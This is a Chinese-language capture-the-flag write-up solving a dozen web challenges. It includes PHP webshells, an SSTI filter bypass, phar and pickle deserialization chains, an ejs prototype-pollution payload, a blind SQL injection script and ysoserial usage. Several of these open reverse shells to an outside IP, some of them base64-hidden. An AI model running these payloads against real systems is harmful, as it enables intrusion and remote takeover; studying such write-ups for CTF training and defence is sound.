目录
phpdest
EasyPHP
SimpleRCE
funny_upload
EasySSTI
middle
PharPOP
ezip
NodeSoEasy
Really Easy SQL&easysql
EzSerial
ljctr
phpdest
尝试打pearcmd,但似乎没有写文件的权限
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/yjh.php
访问/tmp/jyh.php回显404
于是用一个trick
php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
base64解码拿到flag
这题估计也可以打php://input和日志包含,感兴趣可以试一试
EasyPHP
数组传参触发报错拿到flag
ctf[]=1
SimpleRCE
没过滤~
直接取反即可
funny_upload
前端限制禁用js即可
关于后端对文件内容检测的绕过:
文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户
先上传对指定文件base64解码包含的.htaccess
#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"
再上传base64编码的恶意图片马
连蚁剑,拿flag
EasySSTI
登录功能测出SSTI
绕过滤即可
读环境变量拿到flag
{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}
middle
进来直接拿到源码:
app.py
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64app = Flask(__name__)class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/')
def show():base_dir = os.path.dirname(__file__)resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())resp.headers["Content-type"] = "text/plain;charset=UTF-8"return resp@app.route('/home', methods=['POST', 'GET'])
def home():data=request.form['data']User = restricted_loads(base64.b64decode(data))return str(User)if __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=5000)
config/__init__.py
import os
def backdoor(cmd):# 这里我也改了一下if isinstance(cmd,list) :s=''.join(cmd)print("!!!!!!!!!!")s=eval(s)return selse:print("??????")
显然/home处存在白名单的pickle反序列化
Pickle反序列化 - 枫のBlog
因为只让用config中的module,所以要创建个config包
__init__.py和题目一样就行
import os
def backdoor(cmd):# 这里我也改了一下if isinstance(cmd,list) :s=''.join(cmd)print("!!!!!!!!!!")s=eval(s)return selse:print("??????")
main.py生成payload:
因为cmd要为list,所以要特殊构造一下
import pickle
import base64import configclass payload(object):def __reduce__(self):return (config.backdoor, (["os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=|base64 -d|bash -i')"],))
a = pickle.dumps(payload())
a = base64.b64encode(a)
print(a)
打入pickle反序列化
反弹shell,命令执行拿flag
PharPOP
D这个类对文件可以写可以读,用来打phar反序列化
别的类打pop链也很容易看,最后涉及到原生反序列化读文件
php原生类利用 | Extraderの博客
glob:// — 查找匹配的文件路径模式
tree.__destruct -> tree.__call -> apple.__get -> air.__set
绕过throw
,throw会阻碍析构函数进行,通过gc垃圾回收提前触发析构函数
绕过waf
,waf过滤了很多关键字,使用gzip
命令处理phar文件
<?php
class air{public $p;
}class tree{public $name;public $act;
}class apple {public $xxx;public $flag;
}$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;
// $d->act='FilesystemIterator';
// $c->p = $d;
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;
$d->act='SplFileObject';
$c->p = $d;
$b->xxx = $c;
$b->flag = "/fflaggg";
$a->name = $b;$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();
生成的phar文件在010editor中打开,删去最后一个}
修改签名并压缩phar文件
from hashlib import sha1
f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixed_phar.phar', 'wb').write(newf) # 写入新文件
以url编码形式输出文件内容
import urllib.parsewith open("fixed_phar.phar.gz", 'rb') as fi:f = fi.read()ff = urllib.parse.quote(f) #获取信息print(ff)
写入phar文件
0=%1F%8B%08%08%7C%22%1Df%00%03fixed_phar.phar%00s%F7t%B3%B0L%B4%B1/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5z%C8%C0%C0%C0%08%C4%82P%9A%81a5%10%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%D6%FEV%A6VJ%89%05%0590%19c%2B%A5%8A%8A%0A%90%04%90%95%98Y%A4de%08%126%B4R%2A%00%09%E20%C6%CF%1A%AC31%B9D%09%C82%042%83%0Br%DC2sR%FD%93%B2RA%82%B5%B5%60%D5i9%89%E9%20%15%16VJ%FAi%20N%3A%90%5B%8B%D0%EBg%CD%01tmIjq%89%5EIE%09%0B%C8%F9%8A%B2i%20%9A%A7%AE%FE%C66%88%87%C0%F2%CBO%CC%FE%BAh%E5%FC%1B%B2%AD%C9%1A%B7.8%19O%EC9%26%C9%04%94sw%F2u%02%00%15%9D%B7%24%27%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}
phar协议读文件操作触发phar反序列化拿flag
0=phar:///tmp/96c72754133e4a4d55d0baee6bfdb66a.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}
ezip
把🐍图用010editor打开
滑到最后有一段base64
解码得到源码
upload.php
<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){echo "hacker!!";exit;}if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){echo "only zip!!";exit;}$Myzip = new zip($_FILES['file']['name']);mkdir($Myzip->path);move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);echo "Try to unzip your zip to /".$Myzip->path."<br>";if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}
zip.php
<?php
class zip
{public $zip_name;public $path;public $zip_manager;public function __construct($zip_name){$this->zip_manager = new ZipArchive();$this->path = $this->gen_path();$this->zip_name = $zip_name;}public function gen_path(){$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";$newchars=str_split($chars);shuffle($newchars);$chars_key=array_rand($newchars,15);$fnstr = "";for($i=0;$i<15;$i++){$fnstr.=$newchars[$chars_key[$i]];}return md5($fnstr.time().microtime()*100000);}public function deldir($dir) {//先删除目录下的文件:$dh = opendir($dir);while ($file = readdir($dh)) {if($file != "." && $file!="..") {$fullpath = $dir."/".$file;if(!is_dir($fullpath)) {unlink($fullpath);} else {$this->deldir($fullpath);}}}closedir($dh);}function dir_list($directory){$array = [];$dir = dir($directory);while ($file = $dir->read()) {if ($file !== '.' && $file !== '..') {$array[] = $file;}}return $array;}public function unzip(){$fullpath = "/var/www/html/".$this->path."/".$this->zip_name;$white_list = ['jpg','png','gif','bmp'];$this->zip_manager->open($fullpath);for ($i = 0;$i < $this->zip_manager->count();$i ++) {if (strstr($this->zip_manager->getNameIndex($i),"../")){echo "you bad bad";return false;}}if(!$this->zip_manager->extractTo($this->path)){echo "Unzip to /".$this->path."/ failed";exit;}@unlink($fullpath);$file_list = $this->dir_list("/var/www/html/".$this->path."/");for($i=0;$i<sizeof($file_list);$i++){if(is_dir($this->path."/".$file_list[$i])){echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);}else{if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}}}return true;}}
先往yjh.php里写入一句话木马
再如下操作生成压缩包
通过故意将文件名和目录名混用,以及改变一个项目在文件系统中的类型(从文件到目录),来创建一个难以解压的ZIP文件
可以本地试一下
打靶机,解压失败,但是其是在解压出部分文件后直接exit,从而绕过后续的unlink
可以看到成功解压出一句话木马
连接蚁剑,直接读flag权限不够
【Web】超级详细的Linux权限提升一站式笔记_linux提权读取文件-CSDN博客
find / -user root -perm -4000 -print 2>/dev/null
nl有suid权限,可以直接读
NodeSoEasy
用的ejs模板引擎
/目录下存在原型链污染
直接打ejsRCE
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台
文章里payload改一个污染深度就能用
payload:
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');","compileDebug":true}}
发包用application/json
监听,反弹shell,拿flag
Really Easy SQL&easysql
题目描述是钓鱼网站,用于搜集数据,后端sql处理是insert
时间盲注姿势
payload:
import timeimport requestsurl = "http://27436a6d-f94e-4aae-b417-b2c7ae9ff377.node5.buuoj.cn:81/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''for i in range(1,60):for j in string:time.sleep(0.1)#payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="#payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="#payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="try:headers = {'Content-Type':'application/x-www-form-urlencoded'}requests.post(url=url, data=payload, headers=headers, timeout=1.5)except:res = chr(j)+resprint(res)break
EzSerial
扫目录扫出/admin路由
在Cookie处rO0A起手,明显是java序列化的base64编码,可以打入反序列化
直接拿yso生成一下,打CC5
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.txt
cat payload.txt | base64 -w 0
user处打入paylaod
监听,反弹shell,拿flag
ljctr
神
ljctr wp